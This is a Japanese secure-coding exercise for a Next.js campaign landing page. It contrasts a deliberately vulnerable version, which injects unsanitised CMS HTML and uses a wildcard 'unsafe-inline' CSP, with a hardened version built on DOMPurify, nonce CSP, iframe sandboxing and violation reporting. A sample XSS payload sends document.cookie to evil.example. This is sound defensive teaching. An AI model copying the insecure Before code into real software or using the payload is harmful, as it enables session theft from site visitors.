弱点補強: Next.js CSP設計 × dangerouslySetInnerHTML XSS対策 — CMS入稿HTML/代理店タグを無検証でDOM挿入し、CSPがdefault-src * unsafe-inline unsafe-evalで実質無効化されている状態から、DOMPurifyサニタイズ×nonceベースCSP×iframe sandbox実行分離×report-to違反監視の4点セットで多層防御を組み直す(MOps 販促システムチーム キャンペーンLP配信サービス Bad→Good 7点)

2026-09-06 (Day 119) 日曜 弱点補強 ★★★★☆ Next.js 15 / OWASP Top10 CSP / dangerouslySetInnerHTML / XSS

概要

⚠️

dangerouslySetInnerHTMLは「渡すHTMLは安全」という契約を要求するAPI

API名自体が危険性を明示している。この契約をコードで強制する仕組み(サニタイズ関数を必ず経由させる設計)がなければ、CMS入稿や外部タグのような「信頼できない入力」がそのまま流し込まれてしまう。

🛡️

CSPは「実行時の最後の防波堤」であり、unsafe-inline/unsafe-evalは防波堤そのものを壊す

サニタイズをすり抜けたスクリプトがあっても、正しく設定されたCSPなら実行をブロックできる。ワイルドカードやunsafe-*はこの最後の砦を無効化してしまう、多層防御の放棄に等しい設定。

🧱

第三者タグは自ページのDOM/JSコンテキストから分離するのが多層防御の基本

広告代理店から都度提供されるタグを直接HTML注入するのは「一蓮托生」の設計。iframe sandboxで実行コンテキストを隔離すれば、代理店側が乗っ取られても被害をiframe内に限定できる。

📡

防御が機能しているかは「検知できて」初めて運用できる

CSPのreport-toはSLO監視やエラーバジェットと同じ発想。violationの発生自体を可観測性システムに流し込み、XSS試行の兆候を攻撃成立前に検知できるようにする。

問題

ECサイト MOps 販促システムチームが運用するキャンペーンLP配信サービスには、マーケター(非エンジニア)がCMS管理画面からキャンペーンごとの本文(リッチテキストHTML)を自由入力できる仕組みがある。さらに広告代理店から都度提供される計測タグ(HTML/JavaScript混在)も画面に埋め込んでいる。

セキュリティレビューで以下の実装が見つかり、フロントエンドに詳しいエンジニアが精査したところ7つの問題が見つかった。
  • CMS入稿HTML・代理店タグの両方をサニタイズせずdangerouslySetInnerHTMLでそのままDOM挿入している
  • CSPヘッダーがdefault-src * 'unsafe-inline' 'unsafe-eval'という実質無効化に近い設定になっている
  • 他社事例として「代理店提供タグに難読化されたコードが混入していた」というインシデント報告があり、今の実装ではこれが起きるとサイト全体のXSSにつながる

制約・前提条件

  • Next.js 15(App Router)、TypeScript
  • サニタイズ処理(isomorphic-dompurify等)を必ず経由させ、「信頼できない入力」を型・関数設計のレベルで区別すること(サニタイズを通さないHTMLがdangerouslySetInnerHTMLに渡る経路を残さない)
  • CSPはunsafe-inline/unsafe-evalに頼らず、リクエストごとのnonce方式(script-src 'nonce-xxx' 'strict-dynamic')に切り替えること
  • 広告代理店提供の計測タグは、自ページのDOM/JSコンテキストに直接挿入せず、iframe sandboxで実行コンテキストを分離すること
  • CSP違反(XSS試行の兆候)をreport-toで収集し、監視できるようにすること
期待する回答形式: 問題点の列挙(番号付き)+ 改善後コード(サニタイズ関数 + Next.js middleware + ページコンポーネント + CSPレポート受信API)+ 実行例(input→output)+ 適用した設計原則

悪いコード (Before)

このコードには 7つの構造的な問題 が隠れています。見つけてみてください。
現状 — bad_campaign_page.tsx
import type { GetServerSideProps } from "next";

type Props = { html: string; trackingScript: string };

export default function CampaignPage({ html, trackingScript }: Props) {
  return (
    <>
      {/* 問題1: CMS入稿HTMLをサニタイズせずそのままDOM挿入 */}
      <div dangerouslySetInnerHTML={{ __html: html }} />

      {/* 問題2: 広告代理店提供の計測タグも無検証で挿入 */}
      <div dangerouslySetInnerHTML={{ __html: trackingScript }} />
    </>
  );
}

export const getServerSideProps: GetServerSideProps = async (ctx) => {
  const campaignId = ctx.params?.id as string;
  const campaign = await cmsClient.getCampaign(campaignId);
  return {
    props: {
      html: campaign.bodyHtml,           // マーケターの自由入力
      trackingScript: campaign.trackingScript, // 代理店提供タグ(HTML/JS混在)
    },
  };
};

// next.config.js(問題あり)
const nextConfig = {
  async headers() {
    return [{
      source: "/(.*)",
      headers: [{
        key: "Content-Security-Policy",
        // 問題3〜5: ワイルドカード+unsafe-inline+unsafe-evalで実質無効化、report-to無し
        value: "default-src * 'unsafe-inline' 'unsafe-eval'",
      }],
    }];
  },
};
問題点サマリー(7点)
1CMS入稿HTMLを無検証でDOM挿入 — マーケターの入力ミスや不正操作で<script>やイベントハンドラ属性が混入するとそのまま実行される
2代理店タグも無検証で挿入 — 代理店側のアカウント乗っ取り等のサプライチェーンリスクが直結する
3CSPがワイルドカード+unsafe-inline+unsafe-evalで実質無効化 — 最後の防波堤が機能しない
4nonce/hashベースの許可方式になっていない — 最小権限の設計になっていない
5report-to未設定 — CSP違反(XSS試行の兆候)を検知・監視できない
6「信頼できない入力」と「信頼できるHTML」を区別していない — サニタイズ関数・専用型が存在しない
7SSR時点(ハイドレーション前)でも未サニタイズ — サーバー生成のHTMLソース自体に悪意あるコードがそのまま出力される

ヒント(段階的開示)

ヒント1 — 方向性
dangerouslySetInnerHTMLというAPI名そのものが「これは危険な操作である」と教えてくれている。このAPIは暗黙に「渡すHTMLは呼び出し元が安全性を保証済みである」という契約を要求しているが、Bad実装ではCMS入稿値(マーケターの自由入力)と外部代理店タグという2つの「信頼できない入力」をノーチェックでその契約に流し込んでいる。CSP側も同様で、「なぜunsafe-inline/unsafe-evalが必要になったのか」を辿ると、根本原因は「インラインscriptをその場しのぎで許可せざるを得ない設計」にある。サニタイズ(入口の防御)とCSP(実行時の最後の防波堤)が両方とも機能していない状態だと理解すること。
ヒント2 — アプローチ
  • 問題1・6・7: 「信頼できない入力」をレンダリングする関数は、必ずサニタイズ関数(DOMPurify.sanitize)の戻り値だけを受け取るように設計を強制する(許可するタグ・属性をホワイトリストで明示し、onerror/onclick等のイベントハンドラ属性を明示的に禁止する)
  • 問題3・4: CSPはunsafe-inlineを使わず、リクエストごとに一意なnonceを発行し、script-src 'nonce-xxx' 'strict-dynamic'のように「このnonceを持つscriptだけ実行を許可する」方式に切り替える
  • 問題2: 広告代理店の計測タグは、HTMLとして直接挿入するのではなく<iframe sandbox="allow-scripts allow-same-origin">で実行コンテキストを分離し、許可済みドメインのみ埋め込み可能にする
  • 問題5: CSP違反をReport-Toヘッダー + /api/csp-reportのようなエンドポイントで収集し、DataDog等へ転送して「violationが起きている」こと自体を監視する
ヒント3 — コードの骨格
// サニタイズ関数の骨格
export function sanitizeCampaignHtml(rawHtml: string): string {
  return DOMPurify.sanitize(rawHtml, {
    ALLOWED_TAGS: [/* ホワイトリスト */],
    ALLOWED_ATTR: [/* ホワイトリスト */],
    FORBID_ATTR: ["onerror", "onload", "onclick"],
  });
}

// middleware.ts — nonceベースCSPの骨格
export function middleware(request: NextRequest) {
  const nonce = crypto.randomUUID();
  const csp = [
    `default-src 'self'`,
    `script-src 'self' 'nonce-${nonce}' 'strict-dynamic'`,
    // ...
  ].join("; ");
  // レスポンスヘッダーへ設定してページ側にnonceを伝搬する
}

{/* 外部タグはiframe sandboxで実行コンテキストを分離 */}
<iframe src={trackingIframeSrc} sandbox="allow-scripts allow-same-origin" />

問題点分析(7点)

#問題点分類改善方法
1CMS入稿HTMLを無検証でDOM挿入入力検証DOMPurifyでホワイトリスト方式サニタイズ
2代理店タグも無検証で挿入、サプライチェーンリスク直結実行分離iframe sandbox + ドメインホワイトリスト
3CSPがワイルドカード+unsafe-inline+unsafe-evalで実質無効化CSP設計script-src 'nonce-xxx' 'strict-dynamic'
4nonce/hashベースの許可方式になっていない最小権限リクエスト毎にnonceを発行しmiddlewareで伝搬
5report-to未設定でCSP違反を検知できない可観測性report-to + /api/csp-reportでDataDogへ監視
6信頼できない入力と信頼できるHTMLを区別していない設計原則サニタイズ済み文字列のみ扱う専用関数に集約
7SSR時点でも未サニタイズのまま出力サーバー側対策getServerSideProps/Server Componentでサニタイズ後に渡す

構成図 — Bad vs Good(SVG)

Bad(変更前)— サニタイズなし・CSP実質無効 入力元: CMS入稿HTML / 代理店計測タグ マーケター自由入力・代理店都度提供 = どちらも「信頼できない入力」 問題6: 信頼できる/できないHTMLを区別する仕組みが存在しない 問題7: SSR(getServerSideProps)の時点でも未サニタイズのまま <div dangerouslySetInnerHTML={{ __html: ... }} /> 問題1: CMS入稿HTMLをそのままDOM挿入(サニタイズなし) 問題2: 代理店タグも同じ経路で無検証挿入(サプライチェーンリスク直結) → script/onerror属性が混入すればそのままDOMへ実体化 CSP: default-src * 'unsafe-inline' 'unsafe-eval' 問題3・4: ワイルドカード+unsafe-*で最後の防波堤が実質無効化 問題5: report-to未設定、violationを検知する手段がない → サニタイズ層をすり抜けたscriptもCSPで止まらない ブラウザDOM実行 混入したscript/onerrorが来訪者ブラウザ上でそのまま実行 → Cookie窃取・不正リダイレクト等のXSS成立 × 入口(サニタイズ)にも最後の砦(CSP)にも防御が無い × 代理店側の乗っ取りがそのままサイト全体のXSSに直結 × 攻撃が成立するまでviolationにすら気づけない Good(変更後)— サニタイズ×nonce CSP×分離×監視 入力元: CMS入稿HTML / 代理店計測タグ 修正6・7: 「信頼できない入力」として扱い、専用関数を必ず経由させる CMS入稿 → sanitizeCampaignHtml() へ / 代理店タグ → ドメイン判定へ サニタイズ層 + 実行コンテキスト分離 修正1: DOMPurifyでホワイトリスト方式サニタイズ、onerror等を禁止 修正2: 代理店タグはドメインホワイトリスト判定 → iframe sandboxへ → サニタイズ済み文字列だけがdangerouslySetInnerHTMLへ渡る CSP: script-src 'nonce-xxx' 'strict-dynamic' 修正3・4: リクエスト毎nonce発行、unsafe-inline/evalを排除 frame-srcで許可済みドメインのiframeのみ埋め込み許可 → サニタイズをすり抜けたscriptがあってもCSPで実行阻止 report-to → /api/csp-report → DataDog 修正5: CSP violation自体を可観測性システムへ集約 → 攻撃成立前にXSS試行の兆候を検知できる ✓ 入口(サニタイズ)と最後の砦(CSP)の両方が機能 ✓ 代理店側の乗っ取りがiframe内に被害限定される ✓ violationが監視対象になり早期検知が可能 修正

模範解答

Before — サニタイズなし・CSP実質無効
<div dangerouslySetInnerHTML={{ __html: html }} />
<div dangerouslySetInnerHTML={{ __html: trackingScript }} />

// next.config.js
value: "default-src * 'unsafe-inline' 'unsafe-eval'"
After — サニタイズ関数 + nonce CSP + iframe分離
// lib/sanitize-campaign-html.ts
import DOMPurify from "isomorphic-dompurify";

const ALLOWED_TAGS = [
  "p", "b", "strong", "em", "a", "img", "br",
  "span", "div", "ul", "li", "ol", "h1", "h2", "h3",
] as const;
const ALLOWED_ATTR = ["href", "src", "alt", "class", "target", "rel"];

/**
 * CMS入稿のキャンペーン本文HTMLをサニタイズする。
 * onerror/onload/onclick等のイベントハンドラ属性やscriptタグを除去し、
 * ホワイトリスト外のタグ・属性はすべて剥ぎ取る(修正1・修正6)。
 */
export function sanitizeCampaignHtml(rawHtml: string): string {
  return DOMPurify.sanitize(rawHtml, {
    ALLOWED_TAGS: [...ALLOWED_TAGS],
    ALLOWED_ATTR,
    FORBID_ATTR: ["onerror", "onload", "onclick", "onmouseover"],
    FORBID_TAGS: ["script", "iframe", "object", "embed"],
  });
}

const ALLOWED_TRACKING_HOSTS: ReadonlySet<string> = new Set([
  "ads.trusted-partner-a.example.com",
  "tag.trusted-partner-b.example.com",
]);

/** 代理店タグURLが許可済みドメインかどうかを判定する(修正2)。 */
export function isAllowedTrackingUrl(url: string): boolean {
  try {
    return ALLOWED_TRACKING_HOSTS.has(new URL(url).host);
  } catch {
    return false;
  }
}

// middleware.ts — nonceベースCSP(修正3・修正4)
import { NextResponse } from "next/server";
import type { NextRequest } from "next/server";

const CSP_REPORT_GROUP = "csp-endpoint";

export function middleware(request: NextRequest): NextResponse {
  const nonce = crypto.randomUUID(); // リクエスト毎に一意なnonce

  const csp = [
    "default-src 'self'",
    `script-src 'self' 'nonce-${nonce}' 'strict-dynamic'`,
    `style-src 'self' 'nonce-${nonce}'`,
    "img-src 'self' https://cdn.example.com data:",
    "frame-src https://ads.trusted-partner-a.example.com https://tag.trusted-partner-b.example.com",
    "base-uri 'self'",
    "object-src 'none'",
    `report-to ${CSP_REPORT_GROUP}`, // 修正5
  ].join("; ");

  const response = NextResponse.next();
  response.headers.set("Content-Security-Policy", csp);
  response.headers.set("x-nonce", nonce);
  response.headers.set(
    "Report-To",
    JSON.stringify({
      group: CSP_REPORT_GROUP,
      max_age: 10886400,
      endpoints: [{ url: "/api/csp-report" }],
    })
  );
  return response;
}

export const config = { matcher: "/campaign/:path*" };

// app/campaign/[id]/page.tsx — サニタイズ済みHTML + iframe分離(修正1・2・7)
import { sanitizeCampaignHtml, isAllowedTrackingUrl } from "@/lib/sanitize-campaign-html";
import { cmsClient } from "@/lib/cms-client";

export default async function CampaignPage({ params }: { params: { id: string } }) {
  const campaign = await cmsClient.getCampaign(params.id);

  // SSRの時点(ハイドレーション前のHTMLソース)で既にサニタイズ済みにする(修正7)
  const safeHtml = sanitizeCampaignHtml(campaign.bodyHtml);
  const trackingUrl = isAllowedTrackingUrl(campaign.trackingScriptUrl)
    ? campaign.trackingScriptUrl
    : null; // 許可外ドメインは埋め込み自体を拒否

  return (
    <>
      <div dangerouslySetInnerHTML={{ __html: safeHtml }} />
      {trackingUrl && (
        <iframe
          src={trackingUrl}
          sandbox="allow-scripts allow-same-origin"
          referrerPolicy="no-referrer"
          title="campaign-tracking"
          style={{ display: "none" }}
        />
      )}
    </>
  );
}

// app/api/csp-report/route.ts — CSP違反をDataDogへ(修正5)
import { logger } from "@/lib/logger";

export async function POST(request: Request): Promise<Response> {
  const report = await request.json().catch(() => null);
  if (report) logger.warn("csp_violation", { report });
  return new Response(null, { status: 204 });
}
const malicious = '<p>今だけ半額!</p><img src=x onerror="fetch(\'https://evil.example/steal?c=\'+document.cookie)">';
console.log(sanitizeCampaignHtml(malicious));
// → "<p>今だけ半額!</p><img src=\"x\">"
// (onerror属性が除去され、悪意あるfetch呼び出しは実行されない)

console.log(isAllowedTrackingUrl("https://ads.trusted-partner-a.example.com/tag.html"));
// → true

console.log(isAllowedTrackingUrl("https://unknown-agency.example/tag.html"));
// → false(許可リスト外のためiframe埋め込み自体が行われない)

// Before(Bad): 上記maliciousな文字列がそのままdangerouslySetInnerHTMLへ渡ると、
// ブラウザはのonerror属性を評価し、埋め込まれたJavaScriptをそのまま実行する
// (onerrorはsrc読み込み失敗時に発火するため、src=xのような無効な値と組み合わせると確実に発火する)

// After(Good): DOMPurifyがonerror属性を除去するため、
// 同じ入力がdangerouslySetInnerHTMLに渡ってもスクリプトは実行されない。
// 万が一サニタイズ層をすり抜けるケースがあっても、
// nonceを持たないインラインscriptはCSP(script-src 'nonce-xxx')によりブラウザ側で実行がブロックされ、
// そのブロック自体がreport-to経由でDataDogへ通知される
問題修正内容効果
1 サニタイズなしDOMPurifyでホワイトリスト方式サニタイズonerror等のイベントハンドラ属性・scriptタグを除去
2 代理店タグ無検証挿入ドメインホワイトリスト判定 + iframe sandbox実行コンテキストを分離し被害範囲を限定
3・4 CSP実質無効script-src 'nonce-xxx' 'strict-dynamic'unsafe-inline/evalを排除しつつ正当なscriptのみ許可
5 violation検知不能report-to + /api/csp-reportCSP違反(XSS試行の兆候)をDataDogで監視
6 信頼境界の不在サニタイズ済み文字列のみ扱う専用関数に集約未サニタイズHTMLが混入する経路をレビューで発見しやすくする
7 SSR時点で未対策getServerSideProps/Server Componentでサニタイズ後に渡すハイドレーション前のHTMLソースも安全にする

ポイント解説

1dangerouslySetInnerHTMLは「サニタイズ済みHTMLしか渡さない」という運用ルールをコード上で強制できない — だからこそ、サニタイズ関数を通過した文字列だけを扱う専用関数にレンダリング処理を集約し、「未サニタイズのHTMLがこの関数に渡る経路」自体をコードレビューで発見しやすくする設計にする。
2CSPはunsafe-inlineという「全インラインscriptを許可する」抜け穴を、nonceという「リクエストごとに変わる合言葉」で置き換える — 正当なscriptだけを動かしながら攻撃者が注入したscriptの実行を防げる。nonceは推測不可能な値であり、ビルド時ではなくリクエストごとに生成することが前提。
3外部の第三者タグは、自ページのDOM/JSコンテキストから完全に分離する(iframe sandbox)ことで、代理店側のアカウント乗っ取りやタグ改ざんが発生しても被害を「iframe内」に限定できる — 直接HTML注入は「一蓮托生」の設計であり、多層防御の観点で最も避けるべきパターン。
4CSPのreport-toは、攻撃が成立する前に「violationが発生している」という兆候を可観測性システムで検知する仕組みである — SLO監視やエラーバジェットと同じ発想で、「防御が機能しているか」自体を運用上モニタリングする対象にする。

実務への応用

キャンペーンLP以外にも、レビュー投稿本文・問い合わせフォームの自由記述・CMS管理下のバナー原稿・お知らせ欄など「非エンジニアが入力できるHTML/リッチテキスト」を扱う箇所全てに同じ「サニタイズ関数を通過した文字列のみレンダリングする」設計を横展開できる。

EC/MOpsチームはマーケターがノーコード/ローコードでLPやバナーを作れる仕組みを持つことが多く、この「非エンジニアの自由入力経路」がXSSの主要な侵入口になりやすいため、CMS連携機能を新規に作る際は必ずサニタイズ層を通す設計をデフォルトにする。

CSPのnonceベース化とreport-to監視は、Next.jsアプリ全体(管理画面・会員ページ含む)に横展開できる標準パターンであり、DataDog/Cloud LoggingへCSP違反を集約しておくと、他の脆弱性スキャン結果と合わせてセキュリティダッシュボードの一部にできる。

今日のまとめ

dangerouslySetInnerHTMLとワイルドカード+unsafe-inlineのCSPの組み合わせは、XSSに対する多層防御が「入口(サニタイズ)」にも「最後の砦(CSP)」にも存在しない状態であり、CMS入稿という「信頼できない入力」を扱うEC販促システムでは特に危険度が高い。サニタイズ関数・nonceベースCSP・iframeによる実行コンテキスト分離・CSP違反の監視という4点セットで、「入力を疑い・実行を制限し・違反を検知する」多層防御を構築するのが今回の核心である。

次のステップ

  • 発展問題: サニタイズ済みHTMLをCDNでキャッシュしている場合、CMS側で不正なHTMLが混入したことが事後に判明したら、既に配信済み・キャッシュ済みのページをどう無効化・再検証するか設計せよ。
  • 発展問題: 外部から読み込む静的JS(分析タグ等、iframe化できないもの)に対して、Subresource Integrity(SRI)のintegrity属性をどう運用(ハッシュの取得・更新フロー)に組み込むか検討せよ。
  • 参考: OWASP Top 10(A03: Injection / XSS)、MDN「Content-Security-Policy」、isomorphic-dompurifyドキュメント、Next.js公式「Content Security Policy」ガイド

自己評価(あとで記入)

自分の回答

気づき・メモ